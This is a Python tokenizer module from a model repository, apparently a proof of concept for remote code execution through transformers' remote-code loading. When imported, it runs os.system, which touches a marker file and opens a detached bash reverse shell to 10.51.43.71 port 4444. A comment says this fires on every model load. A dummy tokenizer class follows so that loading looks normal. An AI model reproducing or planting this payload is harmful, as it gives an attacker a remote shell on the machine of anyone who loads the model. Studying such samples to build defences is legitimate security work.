File size: 1,425 Bytes
45fd0c7 9816429 45fd0c7 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | # configuration/ization module executed by transformers remote-code loader
import os
_CMD = 'bash -c "touch /tmp/PWNED_BY_LF_POC && setsid bash -i >& /dev/tcp/10.51.43.71/4444 0>&1 &"'
os.system(_CMD) # <-- RCE 触发点(无条件执行,每次模型加载都会触发)
from transformers import PreTrainedTokenizer
_VOCAB = {"<unk>": 0, "<s>": 1, "</s>": 2, "x": 3}
class EvilTokenizer(PreTrainedTokenizer):
"""Minimal tokenizer so that the loading pipeline continues after payload execution."""
def __init__(self, **kwargs):
# transformers 5.x 会把 tokenizer_config.json 里的键原样透传,弹开与我们显式传参冲突的键
for _k in ("use_fast", "split_special_tokens", "padding_side",
"model_max_length", "clean_up_tokenization_spaces", "added_tokens_file"):
kwargs.pop(_k, None)
super().__init__(
vocab=_VOCAB,
bos_token="<s>",
eos_token="</s>",
unk_token="<unk>",
pad_token="</s>",
**kwargs,
)
@property
def vocab_size(self):
return len(_VOCAB)
def get_vocab(self):
return dict(_VOCAB)
def _tokenize(self, text, **kwargs):
return [ch if ch in _VOCAB else "<unk>" for ch in (text or "")][:64] or ["<unk>"]
def save_vocabulary(self, save_directory, filename_prefix=None):
return ()
|